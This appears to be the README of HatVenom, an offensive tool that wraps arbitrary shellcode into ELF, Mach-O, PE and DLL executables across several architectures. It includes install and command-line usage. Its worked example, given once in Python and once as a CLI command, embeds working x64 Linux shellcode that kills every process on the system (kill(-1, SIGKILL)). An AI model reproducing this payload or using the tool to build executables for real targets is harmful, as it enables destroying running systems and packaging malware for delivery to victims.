HatVenom is a powerful payload generation tool that provides support for all common platforms and architectures.
- Support for most common executable formats like
elf
,macho
,pe
,dll
. - Support for most common architectures like
x64
,x86
,aarch64
,armle
,mipsle
,mipsbe
. - Ability to modify shellcode and inject assembly (coming soon).
pip3 install git+https://github.com/EntySec/HatVenom
Format | x86 | x64 | armle | armbe | aarch64 | mipsle | mipsbe | mips64le | mips64be |
---|---|---|---|---|---|---|---|---|---|
elf | yes | yes | yes | no | yes | yes | yes | no | no |
macho | no | yes | no | no | no | no | no | no | no |
dylib | no | yes | no | no | no | no | no | no | no |
pe | yes | yes | no | no | no | no | no | no | no |
dll | yes | yes | no | no | no | no | no | no | no |
- elf - Unix Executable & Linkable Format.
- macho - macOS / Apple iOS Mach-O executable format.
- dylib - macOS / Apple iOS dynamic library format.
- pe - Windows Portable Executable format.
- dll - Windows Dynamic Link Library format.
There are all HatVenom basic functions that can be used to generate payload, covert data, assemble code or inject shellcode.
generate(file_format, arch, shellcode)
- Generates payload for specified target and with specified shellcode.generate_to(file_format, arch, shellcode, filename='a.out')
- Generates payload for specified target and with specified shellcode and saves it to the specified file.
It's very easy to generate payload for various targets in HatVenom. Let's generate a simple payload that kills all processes for Linux and save it to a.out
.
from hatvenom import HatVenom
shellcode = (
"\x6a\x3e\x58\x6a\xff\x5f\x6a\x09\x5e\x0f\x05"
)
hatvenom = HatVenom()
hatvenom.generate_to('elf', 'x64', shellcode)
HatVenom also has its own command line interface that can be invoked by executing hatvenom
command:
usage: hatvenom [-h] [-f FORMAT] [-a ARCH] [-s SHELLCODE] [-o OUTPUT]
HatVenom is a powerful payload generation and shellcode
injection tool that provides support for common platforms and architectures.
optional arguments:
-h, --help show this help message and exit
-f FORMAT, --format FORMAT
Platform to generate for.
-a ARCH, --arch ARCH Architecture to generate for.
-s SHELLCODE, --shellcode SHELLCODE
Shellcode to inject.
-o OUTPUT, --output OUTPUT
File to output generated payload.
Let's generate a simple payload that kills all processes for Linux and save it to a.out
.
hatvenom --format elf --arch x64 --shellcode "\x6a\x3e\x58\x6a\xff\x5f\x6a\x09\x5e\x0f\x05"